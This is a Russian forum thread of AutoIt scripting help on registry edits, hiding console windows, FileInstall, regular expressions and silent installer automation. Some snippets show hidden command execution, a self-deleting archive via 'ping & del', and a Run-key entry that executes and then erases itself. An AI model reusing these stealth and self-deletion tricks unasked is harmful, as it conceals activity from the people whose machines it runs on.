RegDelete("HKEY_USERS\S-1-5-21-507921405-796845957-1417001333-500\Software\Microsoft\Windows\ShellNoRoam\MUICache", "nvda_L.exe") Цитата:
Код:
_RegDeleteEx("HKEY_USERS\S-1-5-21-507921405-796845957-1417001333-500\Software\Microsoft\Windows\ShellNoRoam\MUICache", "nvda_L") |
Есть идея, но неполучается релизовать. Я подумал, а может написать утилиту на AutoIt положить её в system32 и пользоваться. Надо зделать так чтоб файлик читал команду на входе и передавал её cmd.exe,
в его задачу только бы входило скрывать консоль. Вот что я мудрил тут, но безуспешно - Run(@ComSpec & " /c " & '%1', "", @SW_HIDE) Почему не работает и как это довести до ума? Все проги типа hide cmd нифига не умеют, максимум что могут лишь батник запустить! А мне надо чтобы налету комманды передавались команд процессору, причём какие угодно, например: "/k start /w command1 & command2 & command3 & exit" cmdow и chp вообще не могут работать без explorer.exe - лажёвые утилиты блин. Может у когонибудь сохранилась утилита http://www.siginetsoftware.com/forum...hread.php?t=18 ато ссылка битая, поглядеть бы что за тулс? Есть ещё проблемма по автоиту, если скажем скрипт был запакован в SFX архив, который распаковывается во временную папку, то скрипт не может удалить исходный файл архива! Нсмотря на то что по идее сабж уже находится в темп папке и исходный архив по идее уже и не нужен как бы! Ведь сабж уже в темп фолдере! Тем не менее запускающий архив защищён, можно подумать что контент обратно в него из темпа заархивируется после выполнения -чушь! Но такова реальность! 0_. |
semiono,
Цитата:
Чтобы скрыть консольное окно нужно использовать WinSetState("[CLASS:ConsoleWindowClass]", "", @SW_HIDE). Цитата:
Удалить можно после выхода скрипта, через тот же @ComSpec, но это при условии что после выхода скрипта архив не запускает/использует другие программы/файлы: Код:
Run(@ComSpec & ' /c ping -n 2 localhost > nul & del /q /f "' & $sArchiveFile & '"', '', @SW_HIDE) |
Цитата:
MyProg.exe "notepad.exe new.txt" не получается! Или что либо в этом роде... Цитата:
Я извиняюсь, а как WinSetState("[CLASS:ConsoleWindowClass]", "", @SW_HIDE) совместить с запуском Run() Или это все консоли скрывает которые на пути попадаются :) Можно кусочек кода показать? В часности как Run(@ComSpec & " /c " & '%1', "", @SW_HIDE) объединить с этим всем? |
semiono,
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
|
Ok! Я уже пытался объяснить, ща попробую ещё...
В поисках утилит скрывающих cmd.exe window я вдруг подумал, а ведь наверняка это можно реализовать самому на AutoIt! Конкретно, нужно написать скрыватель окна cmd.exe. Как мне представляется - наша прога, кампилированный (Aut2Exe) скрипт пусть называется hidec.exe Мы вводим в коммандной строке, или в батнике, или в меню Пуск >Выполнить (не знаю есть ли различие), вводим кароче такое: # hidec.exe notepad.exe && calc.exe && mmsys.cpl && exit в реале у нас получается, что hidec.exe просто передаёт все эти комманды cmd.exe процессору на выполнение, то-есть всё просто пропускает через себя и перенаправляет в cmd.exe. Единственную цель тут выполнить hidec.exe должен - это не позволить открываться окну cmd.exe Если что-то не понятно, я пишу, я объясню ещё... Кстати, утилита http://legroom.net/software/openargs - такой же автоит только там с другими задачами, так что идея создания утилиты не мной придумана :) Вроде бы Run(@ComSpec & " /c " & '%1', "", @SW_HIDE) должен работать, но он чёто молча поглощает ввод :) |
После запуска с флешки "MyProga"остаються даные от autorun.inf
Даные реестра: Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun\Action] @="Запустить MyProga" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun\DefaultLabel] @="MyProga" Здесь ключ реестра как я понимаю "@" если я прописываю его то значение не удаляеться. Тогда произвожу удаление по значению . Код: _RegDeleteEx1("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b 3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun\Action", "Запустить MyProga") Func _RegDeleteEx1($s_Key, $s_Val) Local $sCurrent_ValName, $iCount = 1 While 1 $sCurrent_ValName = RegEnumVal($s_Key, $iCount) If @error <> 0 Then ExitLoop If String(RegRead($s_Key, $sCurrent_ValName)) = $s_Val Then Return RegDelete($s_Key, $sCurrent_ValName) $iCount += 1 WEnd Return @error EndFunc _RegDeleteEx2("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b 3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun\DefaultLabel", "MyProga") Func _RegDeleteEx2($s_Key, $s_Val) Local $sCurrent_ValName, $iCount = 1 While 1 $sCurrent_ValName = RegEnumVal($s_Key, $iCount) If @error <> 0 Then ExitLoop If String(RegRead($s_Key, $sCurrent_ValName)) = $s_Val Then Return RegDelete($s_Key, $sCurrent_ValName) $iCount += 1 WEnd Return @error EndFunc _RegDeleteEx1("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b 3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun\Action", "Запустить MyProga") Func _RegDeleteEx1($s_Key, $s_Val) Local $sCurrent_ValName, $iCount = 1 While 1 $sCurrent_ValName = RegEnumVal($s_Key, $iCount) If @error <> 0 Then ExitLoop If String(RegRead($s_Key, $sCurrent_ValName)) = $s_Val Then Return RegDelete($s_Key, $sCurrent_ValName) $iCount += 1 WEnd Return @error EndFunc Но мне кажеться получаеться не сильно элигантноне подскажете как можно упростить код . |
Цитата:
Код:
Run(@ComSpec & " /c " & $CmdLineRaw, "", @SW_HIDE) Для того чтобы скрыть то окно в котором утилита запускается, нужно использовать ту строку что я привёл ранее (с WinSetState). Также можно определить PID (идентификатор) родительского процесса, и скрыть окно по заголовку этого процесса. |
litus,
Цитата:
Это нужно удалять так: Код:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b 3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun\Action", "") Цитата:
Код:
_RegDeleteEx("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{6b 3faa70-78d3-11dd-aff1-001b9ee364da}\_Autorun\Action", "Запустить MyProga") |
Creat0R, мне действительно помогло вставка вначале скрипта:
WinSetState("[CLASS:ConsoleWindowClass]", "", @SW_HIDE) Которое схлопывает моментально консоль! Консоль, в это время исполняет код записанный InnoSetup: [Registry] Root: HKLM32; Subkey: "Software\Microsoft\Windows\CurrentVersion\Run"; ValueType: string; ValueName: "Alcohol-Setup"; ValueData: "{sys}\cmd.exe /k start /w {sys}\Alcohol.exe & del /f /q {sys}\Alcohol.exe & reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Alcohol-Setup /f & Exit"; Flags: noerror; Permissions: admins-full Практически ничего не стал менять, лишь прикрыл внешнюю консоль из скрипта! Спасибо! Что важно, что реестр удаляет архив из которого стартовал скрипт! ;- Хотя вот последнее твоё Run(@ComSpec & " /c " & $CmdLineRaw, "", @SW_HIDE) - это интересно, надо проверить! Потому-что идея разработки hidec утилиты очень даже пригодиться! |
TERMINAL
Цитата:
Код:
#include <Constants.au3> |
Цитата:
Цитата:
Код:
$Server = "192.168.1.1" |
amel27, что-то неопределяет...скопировал в System32, запустил твой скрипт...
|
Цитата:
Код:
DevCon Help Find Код:
DevCon Classes Код:
DevCon Find =Media |
amel27, всё перепробовал, мне кажется что где-то в скрипте ошибка-у себя на компе можешь проверить?
|
TERMINAL, без скрипта проверь в командной строке указанные команды, выдают список DevID?
|
amel27, вообще ничего не выдаётся-cmd срабатывает (показывает чётрный экран и изчезает) и всё...что за фигня-понять немогу....
мне это нужно для того чтобы определить-устройство установлено или нет, если нет - начитает устанавливать дрова на устройство. |
Цитата:
|
Здравствуй те пару дней уже юзаю поиск и фильтры но немогу найти примеры использования ключевых слов:
#include, #include-once и FileInstall подскажите путь на топик где обсуждаеться эта тема если такой существует в природе или дайте простейшие образцы написания. Как включить исполняемый дестребутив програмы в тело скомпилированого скрипта. |
Цитата:
#Include-once предотвращает повторное поделючение текущей библиотеки (обычно используется в UDF - User Defined Function). FileInstall служит для включения внешних файлов в компилированный скрипт. Цитата:
Код:
FileInstall("Полный\Путь\до\дестребутива\программы", "Путь для распаковки") В этом случае после компилляции указанный файл будет помещён в скомпилированный скрипт, далее при запуске скрипта, и при том что скрипт дойдёт до выполняемой строки (в том месте где она указана), файл будет распакован в указанное место. Далее можно с ним делать что угодно, если по завершению файл не нужен, то его желательно удалять, скрипт на выходе сам этого не делает. |
Спасиба а то в файле справки так тумано и заумно описано что совсем вдругом направлении пробЫвал писать код.
|
TERMINAL
Цитата:
"$foo = Run(@ComSpec & " /K DevCon Find ^=Media", @SystemDir)" |
Я тут придумал безкомпромиссный инсталл, хотя всё довольно просто...
Код:
If FileExists($InstallPath) Then Exit пусть удаляет сначала ;- хотя msi-тный инсталлер может и выползет даже в таком случае, но думаю что тоже нет :) |
semiono
Можно так-же добавить проверку ключей реестра :) |
amel27, что-то начало двигаться, но мне просто показывыает естественно устройства категории Media, а если имеется неустановленное устройство и вместо Media ставишь Unknown то он почему то пишет что никаких необнаруженных устройств нет.... вот засада...
|
Maza Faka, ага уже добавил! :)
>> |
Первый мой скрипт выглядел премерно так только пути были прописаны полностьюа здесь использованы макросы и переменые
код: $MyProga = "" $MyRazdel1 = "" $MyRazdel2 = "" $MyRazdel3 = "" DirCopy("@AppDataDir/$MyProga", "$MyRazdel1", 1) DirCopy("@AppDataCommonDir/$MyProga", "$MyRazdel2", 1) DirCopy("@ProgramFilesDir/$MyProga", "$MyRazdel3", 1) Shutdown(6) Проблема была вследующем при тестировании всё работало но на другой машине обнаружилось что скрипт не отрабатываеться полностью а комп уходит на перезагрузку как можно написать чтобы команда "Shutdown" не отрабатывалась пока небудут перемещены все деректории. И насколько я понял FileInstall("", "") может перемещать только фаилы а с деректориями неработает. |
litus
Вообще-то функция Shutdown() должна "дождаться" завершения функции DirCopy() :unsure: Проверяй, что возвращают функции DirCopy(). Кстати у тебя слеш неправильный используется, нужно использовать обратный \ хотя на работу функции и не влияет, но всё же...:) Цитата:
|
TERMINAL
Цитата:
Код:
#include <Constants.au3> |
litus,
Цитата:
Код:
$MyProga = "" |
Вообще-то функция Shutdown() должна "дождаться" завершения функции DirCopy() Проверяй, что возвращают функции DirCopy().
--------- Втом и вопрос как проверить значение возращаемое функциейесли она выполняеться то возращает "1" а только потом выполняеться следующая функция. |
Цитата:
Код:
$MyProga = "" |
amel27, спасибо большое-нашёл другой способ как обходить и решать эту проблему....
|
Цитата:
Можно ещё так: Код:
$iCopied_Dirs_Count = DirCopy(@AppDataDir & "\" & $MyProga, $MyRazdel1, 1) |
help!
Код:
Dim $var1 = '"' & @WindowsDir & '\' ...я сам ещё потружусь, но боюсь не смогу боюсь... |
Цитата:
|
Код:
Dim $var1 = '"' & @WindowsDir & '\' |
semiono
Цитата:
|
Я понял фитчу! Дело в том что не все окна наверное умеют скрыться... Вот с MINIMIZE пошло!
------ А, ага! прочёл, но наверное не то чтобы нельзя нажать, а видимо свойства окна не позволяют его вообще скрыть!? Хотя, главное что я понял в чём трабла, ато уже забодало, нажимать и смотреть результат! :) |
amel27, Я тут в придачу к твоим функциям _AU3_* написал ещё одну, _AU3_MergeAllLibs() - превращает исходный скрипт в один целый, со всеми инклюдами (указанными в нём) и константами. Для это мне пришлось немного изменить _AU3_GetAllLibUDF, чтобы возвращала ещё и полный путь к инклюду.
Код:
_AU3_MergeAllLibs(@ScriptDir & "\Test.au3", 0, 0, 1) Код:
#include <Array.au3> |
Кто придумал эти си подобные языки! Или либо я в логике запутался, мне что <>1 что =1 трудно уловить так быстро. Но поидее после ControlCommand должна работать разумно, но оно вроде только выполняет либо чек, либо анчек при разных указаниях еррор и поидее вообще ничего не даёть. (нафиг нужно действие противоположное событию)
Если бы я "придумывал язык" я бы зделал - установить чекбокс (даже если он был установлен) и выполнять код дальше. Зачем усложняться то! :) Столько функций и ни одной не могу выбрать, чтоб uncheck либо check безовсяких условий конкретно? Код:
ControlCommand ("License", "", "[Class:Button; Instance:5]", "IsChecked" , "") |
Creat0R
Цитата:
Цитата:
semiono гм, забавно... сначала проверяется - стоит галка или нет на чекбоксе, и если при проверке возникла ошибка (например, чекбокса нет), то кликаем (?) левой кнопкой... а если проверка успешная (ура, такой чекбокс существует), то молча идем дальше - само состояние чекбокса тут вообще не проверяется, иначе было бы типа такого: Код:
$IsChecked = ControlCommand ("License", "", "[Class:Button; Instance:5]", "IsChecked" , "") |
Цитата:
|
Maza Faka, где у меня ошибка?
|
amel27,
Цитата:
Цитата:
Цитата:
Но идея неплохая, нужно чтобы если коменты не пишутся, добавлять имена инклюдов... semiono, Цитата:
Код:
#include <GuiConstants.au3> Код:
ControlCommand("License", "", "Button5", "Check") |
И снова вопрос к спецам...
реально ли путь @ScriptFullPath получить в Dos кодировке? (дело в том, что его надо прописать в bat, а путь может содержать русские символы) ---------------- Мне нужно сделать так, чтобы после перезагрузки запустился скрипт. Там он будет "продолжать настройку" программы. Я, для этого, прописываю @ScriptFullPath в реестр, а точнее, в RunOnce. Я использую "компилированные" скрипты. Скрипт запускается, отрабатывает...., но существует проблема. Дело в том, что после запуска отрабатывает ТОЛЬКО скрипт, то есть все остальное, включая эксплорер, запускается только после того как отработает скрипт... Мне надо чтобы скрипт запустился в последнюю очередь. Я это пытаюсь сделать путем создания батника, в котором будет прописана команда запуска скрипта. ---------------- Может кто-то подкинет идею? |
feax, Я так понимаю, что первое сообщение на этой странице - это попытка сдернуть кукисы у пользователей... Сам таким раньше занимался, так что судя по содержимому сообщения - его надо удалить... АДМИНЫ!!! МОДЕРЫ!!!
|
Grammaton Cleric
Цитата:
Цитата:
|
Цитата:
P.S. Вот и Creat0R всё о том же :) |
|
Про дос-кодировку СПАСИБО!!! Вот это весчь!
Про запуски Тоже интересная идея... Даже удивился, как все гениальное просто... |
Всем спасибо, кто высказались, я боюсь меня не совсем правильно понимают...
Дело в том, что насчёт чек бокс, заведомо не известно он установлен [x] или может быть нет [ ] Например, по дефолту прога ставиться со сброшенным чеком [ ] а скажем при многоразовом инсталле, скажем инсталлер читает с реестра юзерские предпочтения, напр. [x] установлено. Или в общем случае, все подводные камни не известны, что там инсталлер выкинет такого! Обобщая сказанное, лучше усиленно ставить галку [x], ато ведь получается кликаем чтобы установить, а там уже стоить либо с точностью до наоборот! :) Или ControlCommand("License", "", "Button5", "Check") именно чекед всегда! Ща проверю... sorryY -- Хм. taskmgr.exe - вообще невидимый! Au3Info его меню не показывает, а как быть? Есть ли способ Shutdown нажать? У меня проблеммы с консольным shutdown.exe я подумал, может в GUI жать автоскриптом? :) |
Цитата:
Кстати на пункты меню можно ещё жать так (по CtrlID): Код:
#include <WindowsConstants.au3> |
AutoIt'овский ShutDown() не подходит.
У меня EmuPMixDSP.exe процесс (звуковой движёк) вешает комп! Раньше shutdown -f -r -t 00 работало, но после того как я что-то удалил из служб nLite-ом, теперь только кнопкой пуск или диспетчером... А AutoIt'овский ShutDown я проверял, аналогично консольному, тоже самое! Я до сих пор причину ищу. Вроде бы нашёл уже, что это из-за отсутствия "Windows Firewall/Internet Connection Sharing (ICS)". Однако опять не работает, может потому-что эта в свою очередь COM+ юзает, а его я тоже выкинул. Но более всего удивляет, каким образом taskmgr это делает? Вот бы из него команду выудить в консоль :) |
amel27,
Не подскажешь снова по RegExp'ресам? Нужно сформулировать Pattern для проверки содержимого б. обмена на присутствие путей к файлам (это скопированные файлы в проводнике). Но проверка должна быть максимально быстро, т.к проверка происходит при открытии контекстного меню, лишних задержек быть не должно. Вот что я имею: Код:
$Clip = _ * Чтобы учитывались UNC пути более надёжно (я сам с ними никогда не работал, даже проверить негде). * Чтобы учитывались расширения файлов на всех строках, т.е чтобы если хоть одна строка не подходит под Pattern, то возвращать нужно 0. Но это не самое важное, если оно будет замедлять проверку то не нужно, у меня в скрипте и так уже есть проверка на состояние скопированных файлов (копированы они, или вырезаны в проводнике). |
И ещё задача по RegExp...
Нужно в результате получить это: Код:
/In %s /Icon %s /Bin %s /Comp %s Код:
$sCompile_String = '/In "Yes" /Icon "No" /Bin "Ok" /Comp 1' |
$sCompile_String = StringRegExpReplace($sCompile_String, '/(.*?) ".*?"', '/$1 %s')
Цитата:
|
Цитата:
Код:
$sCompile_String = '/In "Yes" /Icon "No" /Bin "Ok" /Comp 1' |
Sylver Dragon, Maza Faka,
Спасибо, оба варианта работают на ура (первый конечно по проще :tongue: ), а я столько мучался :dont-know ... |
Ааааа... Мой вариант немного неправильный. Строку вида '/In "Yes, Right" /Icon "No" /Bin "Ok" /Comp 1' обработать правильно не сможет. С пробелами всмысле.
Можно так тогда переписать: $sCompile_String = StringRegExpReplace($sCompile_String, '/(.*?) ([^/])*', '/$1 %s ') Однако строку вида '/In array "Yes, Right" /Icon, or not icon "No" /Bin "Ok" /Comp 1' Он всё равно обработать не сможет. Хотя впринципе такую строку ничто не сможет обработать. Нужны будут какие-то спец. символы, чтобы выделять нужные куски. |
Sylver Dragon,
Цитата:
P.S Вот если бы ещё с первой проблемой разобраться :durak: ... |
StringRegExp($Clip, '(\a:\\)([^/\\<>:*?"|])*\.(txt|txt\.bk)(\n|$)')
Пока не проверял. Поясню немного: ([^\\/<>:*?"|])* - означает наличие любых символов, кроме тех, которые не могут присутствовать в имени файла. Надеюсь, что правильно записал выражение. Хотя если в буфере будет что-то типа: D:::\Bla\Text.txt - правильно обравботать не получиться. Ну, я не думаю, что кто-то будет так маньячиться. Щас немного потестирую. Стоп. пути только полные, или могут быть относительные? Пока не работает. Даже понял, почему :) Сменились значения спец. символов. Придёться с английской справкой работать(( Я немножко в ступоре)) StringRegExp($Clip, '\b:\\([^\\/<>:*?|])*')) - вот это проверит, может ли являеться ли $Clip путём к файлу. Однако расширение она учесть не сможет (точки могут быть в любом месте файла). Это уже надо сильно усложнять выражение, что приведёт к увеличению времени обработки. А это здесь явно не нужно. Щас буду думать дальше. И ещё, как вариант, проверять, путь ли в буфере, не во время вызова контекстного меню, а регулярно, во время работы программы. Т. е. если буфер изменился - проверить, путь ли в нём теперь. Я дурак. Поставил в регулярное выражение символ \ и думаю, почему неправильно обрабатывает... Всё. Вот моё окончательное слово: Код:
StringRegExp($Clip, '\b:\\([^/<>:*?|])*(\.txt|txt\.bk)(\n|$)') |
Sylver Dragon,
Цитата:
Цитата:
Цитата:
Код:
$Clip = _ |
Creat0R
Цитата:
Код:
#Region : Построение регулярного выражения Цитата:
Код:
$sCompile_String = '/In "Yes" /Icon "No" /Bin "Ok" /Comp 1' |
amel27,
Цитата:
По поводу скорости, мне главное чтобы если первая строка не совпадает с запросом, то проверка заканчивалась. Моя первая попытка сделать пдобную проверку, очень долго возвращала результат в случае если б.обмена содержал большой кусок текста (не пути к файлам). P.S Победители конкурса по Регулярным выражениям становятся... RegExp номер 3 и номер 4! ![]() Цитата:
|
Цитата:
Цитата:
А как насчёт того, чтобы проверять не во время вызова контекстного меню, а прямо перед вставкой? Т. е. если содержимое буфера не соответсвует шаблону - выдать сообщение об этом... Цитата:
Плюс ещё сделать предположение, что если первые несколько строк - пути к файлам, значит и всё остальное тоже. |
Sylver Dragon,
Цитата:
P.S В принципе (это я только щас додумал), достаточно лишь проверять расширение файлов, т.к у меня есть ещё и проверка типа данных содержащихся в буфере обмена (DROPEFFECT_COPY/MOVE). |
Creat0R
Цитата:
...хотя в итоговый скрипт можно включать только результат ;) Цитата:
Цитата:
жаль, нельзя сходу отличить файл от каталога, диска или другого элемента "сетевого окружения" ;) |
|
Цитата:
Код:
ControlSetText($hWnd, "", "Static1", $sPromptData & @CRLF & @CRLF & _GetShortString($sSetData, 50)) |
Можно ли через autoit изменить реестр в ограниченой учетной записи?
|
Цитата:
$Array = StringRegExp($Expr, '^(.){' & $Number & '}',2) $Array[0] - первые $Number символов строки. Если длина строки меньше $number - значение @error = 2 (А Array[0] - ХЗ, пустая строка вроде). Цитата:
Если же нужна запись во все разделы - используй что-нибудь типа: Код:
If $CmdLine[1] = "/NeedAdmin" Then |
Такая вот проблема...
Есть текстовый файл, например test.txt, в котором содержится: Код:
[19.11.08 07:51:20] Регистрация пользователя OPERATOR Тока напишите, пожалуйста, небольшое пояснение. А то хочется не просто тупо использовать кусок кода, но и понять КАК он работает.... |
Цитата:
Код:
$sFile = @ScriptDir & "\test.txt" |
Creat0R
Цитата:
По ходу немного переделал твой UDF, стабилизировав длину выходной строки (имеет смысл только для непропорционального шрифта типа Courier) и добавил возможность смещения заполнителя в правую или левую сторону... Вариант для RegExp прилагается, но он некорректно обрабатывает нулевую длину $iLeft и $iRight: Код:
$s = "C:\Documents and Settings\Администратор\Рабочий стол\Текстовый документ.txt" |
Здравствуйте наблюдается проблемма на Vista 32 Ultimate при отработке команды Ping(), назависимо от состояния сети всегда выдает время отклика равное 1, тот же скрипт на Windows XP работает как надо. Втроенный брэндмауэр, Defender и т.п. отключены. Сеть и инет работает как надо. Может у кого-то будут мысли куда копать?
вот такой простенький скрипт Код:
$var = Ping("192.168.1.1") |
EgOrus, попробуйте запустить скрипт с админскими правами, на висте есть такое может поможет?
Люди добрые скажите есть ли в Autoit команда которая при компиляции скрипта поможет изменить параметры .exe в св-вах они отображаются и всякие другие параметры? Вот св-ва: ![]() |
morgan1991,
AutoIt3Wrapper, страница закачки, пример: Код:
#Region ;**** Directives created by AutoIt3Wrapper_GUI **** |
EgOrus, к сожалению, сейчас нет под рукой висты, обходной вариант:
Код:
$host = @ComputerName |
amel27, чтото я недопонял, что там качать всё пробовал кидал в папку автоита заменял файлы в сисайте не помогает всеравно эти команды не работают компилятор их как будто игнорирует. Обьясни плиз популярно как для ламера.
|
Цитата:
|
Разобрался. Скачал новый SciTE. Не помогло. Скачал BETA-версию autoit и откомпилировал через "Beta Compile".
|
подскажите такое решение.
Надо сделать автоскрипт на смену резрешений в реестре для ветки SafeBoot на только чтение, чтоб вирус не удалял её. Ну т.е. там на кнопочки нажать , галочки поставить... Скачал SciTE4AutoIt3. Пытался делать AutoIt3Wrapper`ом и AutoItMacroGenerator непомагает, так как они записывают фиксированные перемещение мышки, и не учитывают что окно возможно будет перемещено. Дайте совет! Заранее спасибо!! |
Ну для начала, я в таких случаях ставлю AutoIT3 полностью...
Потом в начале скрипта прописываешь Opt("MouseCoordMode",2) ; Обработка координат положения курсора мыши от левого верхнего угла клиентской части текущего окна Затем запускаешь AutoIt Window Info (не знаю как в остальных, но в полной установке этот компонент устанавливается), и там в меню "Options" выбираешь "CoordMode"->"Client" Теперь Window Info будет показывать положение мыши исчисляя его от левого верхнего угла клиентской части текущего окна. То есть координаты клика теперь будут отсчитываться не от угла экрана, а от угла активного окна... Чтобы лучше понять - сделай то, что написано и попробуй как это будет действовать... Можно банально при запущеном Window Info попробовать найти нулевые координаты мыши в нужном окне. Еще раз повторяю, что после этих манипуляций координаты не будут зависеть от того, где находится окно - главное, чтобы оно было активно. ------------ А может проще ControlClick использовать? |
Цитата:
kaZilla Нарыл кое-какую инфу: How to Use Regini.exe to Set Permissions on Registry Keys setacl |
Подскажите пожалуйста как предусмотреть в скрипте разные варианты. Например, если устанавливать ICQ 6 автоматом на чистую систему, то все ставится нормально, а если на компе создано подключение к интернету, то прога спрашивает об подключении и ломится в интернет. Как предусмотреть ето и сделать так, чтоб скрипт "умел" устанавливать двумя вариантами. Аналогично, если инсталировать программу, которая уже установлена, то спрашивает "Восстановить" или "Удалить". Прошу помощи. Только подробно, если можно. И если не трудно, то с примером, а то я AutoIt знаю на уровне чуть выше SciTe Skript Writer-a :)
|
kaZilla
Цитата:
Код:
$strFileName = "HKCU\TEST" там же лежит CMD-вариант утилиты, хотя для серьезных задач рекомендую SubInACL :) |
t_ara_s,
Код:
#include <Inet.au3> |
Мне надо сделать автоустановку. Если ставить на чистую систему, то все норм, а если программа уже установлена и спрашивает "восстановить" или "удалить" то как? Что-то типа если окно 1, то комманда 1, если окно 2, то команда 2?
|
Цитата:
Цитата:
|
Что если появляется окно
![]() выполнить одно действие А если ![]() то другое. Хотя, действительно, можно просто Цитата:
|
Спасибо, но я ето и сам знаю. А вот как ето прописать в скрипте? Напишите пожалуйста кому не лень, а то я скрипты пишу только благодаря SkriptWriter :-)
|
t_ara_s
Код:
WinGetText() |
Цитата:
Код:
If FileExists (@ProgramfilesDir&'\Proga\File.exe') = 1 then Exit Код:
If FileExists (@ProgramfilesDir&'\Proga\File.exe') then Тут поможет Код:
RegRead ( "keyname", "valuename" ) |
Здравствуйте посетители форума на досуге собрал несколько скриптов "тихих установок" с за премер были взяты скрипты от
Sanja Alone меня заинтересовали следующие строчки: ;Отображать текущую строку сценария с помощью индикатора системной панели в режиме отладки. AutoItSetOption("TrayIconDebug", 1) AutoItSetOption("SendKeyDelay", 10) If ProcessExists ( "ps.exe" )<>0 Then ProcessClose ( "ps.exe" ) ProcessWaitClose ( "ps.exe" ) EndIf Какую операцию выполняет даное выражение и объязательно ли включать эти строки в свои скрипты? Если вопрос оказался глупым обьясните как это говориться "КАК ДЛЯ ЛАМЕРА" учитывая то что я невижу точто на монеторе у меня проблемы с зрением я работаю с синтезатором речи без помощи глаз и зрячего програмиста под рукой нет для того чтобы прокоментировать произходящее. Также изучая файл справки "AutoIt3_2_5_4_ru.chm" обнаружил одно недоразумение непереведены несколько разделов на русский язык а имено: указатель библиотечных функций / Автоматизация MS Internet Explorer Подскажите делал ли Валерий Викторович Иванов полный перевод этих разделов если да то где можно скачать этот дестребутив. |
Цитата:
Код:
AutoItSetOption("TrayIconDebug", 1) AutoItSetOption("SendKeyDelay", 10) Изменяет длительность задержки между нажатиями клавиш. (По умолчанию 5 мс.). If ProcessExists ( "ps.exe" )<>0 Then Если процесс ps.exe существует то... ProcessClose Закрываем процесс. ProcessWaitClose Ждём закрытия процесса. |
И небольшое дополнение к сообщению Maza Faka,
Код:
If ProcessExists ( "ps.exe" )<>0 Then |
Подскажите пожалуйста, как можно в VBScript получить путь к текущей директории и zip-архиву. К примеру, на диске С в папке folder находится какой-то file.zip, нужно его распаковать средствами VBScript.
Но нужно, чтобы сам файл скрипт искал в той же директории, где и он сам находится (+ желательно, чтобы он искал все архивы и их распаковывал). Вот пример моего кода, который как я написал распаковывает только указанный файл в указанной директории: Код:
strZipFile = "c:\folder\file.zip" |
|
Товарищи, подскажите пожалуйста, можно ли каким-нибудь образом посылать клавиатурные команды (send) в НЕАКТИВНОЕ окно?
|
Frost_Imp,
Цитата:
|
Цитата:
Из справки: Выслать строку символов управляющему элементу окна. А если нет управляющего элемента? Ну то есть, на конкретном примере: я отправлял нажатие определенной клавиши в активное окно с игрой. Естесственно, речь не идет об управляющих элементах. Как быть теперь тут? |
Frost_Imp,
Цитата:
Код:
ControlSend("Заголовок приложения (игры?)", "", "Edit1", "Строка") |
Хотел сделать АвтоЛогин...
Но не работает((... подскажите где косяк #include <IE.au3> $oIE = _IECreate ("http://ogame.ru") $oForm = _IEFormGetObjByName ($oIE, "loginForm") $oLogin = _IEFormElementGetObjByName($oForm, "login") _IELoadWait ($oIE) _IEFormElementSetValue($oLogin, "Master") _IEFormSubmit($oForm) |
Доброго времени посетители форума подскажите пожалуста как можно реализовать такой код чтобы был перехват гарячих клавиш. К примеру нажимаем клавиши "Control + Q" и запускаеться определёный процес.
|
Цитата:
Код:
HotKeySet("^q", "_ProcessStart") |
Цитата:
Код:
#include <IE.au3> |
Цитата:
|
А нельзя ли его развернуть\сделать активным?
Потому что так врядли что-то получиться... Если етбе необязательно нажимать определённую кнопку, а можно и мышкой клацнуть - можешь использовать Код:
>>>> Window <<<< В моём случае сработало так: ControlSend( "Warlords IV", "", "", "{ESC}") |
Цитата:
Код:
ControlSend("Заголовок приложения (игры?)", "", "", "Строка") |
Цитата:
|
Цитата:
а как найти имена этих контролов? которые у тебя сейчас "login" и "pass" |
Экспериментально выяснил, как сделать проверку на ключ командной строки:
Код:
If $CmdLine[$CmdLine[0]] == '-run' Then |
Ребята подскажите новечку, как сделать неактивное окно активным ??? Я пытаюсь сделать автоматическую установку программы (Fox video converter) так вот там в конце этот инстолятор ставит какието дполнения и после чего главное окно инсталятора становится неактивным. Мож кто знает выход из положения???
|
Цитата:
Код:
WinActivate("заголовок нужного окна", "") |
Цитата:
Цитата:
Цитата:
Код:
WinWaitActive("заголовок нужного окна") |
Цитата:
|
Спасибо огромное что отозвались на мой вопрос. Но WinActivate("заголовок нужного окна", "") непомогает, почемуто окно нестановится активным, заголовок окна смотрел в AutoIt v3 Window Info в строке >>>>Window<<<<< Title. Может ещё как небуть можно сделать его активным ???
|
Цитата:
|
Цитата:
Цитата:
Цитата:
![]() |
Цитата:
Код:
ControlSend ( "title", "text", controlID, "string" [, flag] ) |
Незнаю печему оно нестановится активным, AutoIt Window Info показывает что заголовок "Setup - FOX*Video Converter" но выход из положения нашолся в таком виде ?Код?WinWait("Setup - FOX Video Converter","Setup has finished installing ")?ControlClick("Setup - FOX Video Converter","Setup has finished installing ","TNewCheckListBox1")
|
Здраствуйте ,
Помогите плиз реализовать - нужно если интернет работает больше часа по времени, отключить интернет и проверить отключился ли ... интернет адсл , при отключении надо чтото вроде длл метода так как rasdial "название подключения" /disconnect почемуто невсегда срабатывает заранее спасибо. |
Babullika
Незнаю, как сработает с ADSL подключением, но с dialup работает: Код:
While 1 |
почему-то не пашет у меня функция
_IEFormSubmit($oForm) название кнопки я указал правльно, как в дебагере указано.... код Код:
#include <IE.au3> |
И опять вопрос по RegExp'сам :) (не уверен, но вроде это уже обсуждали)...
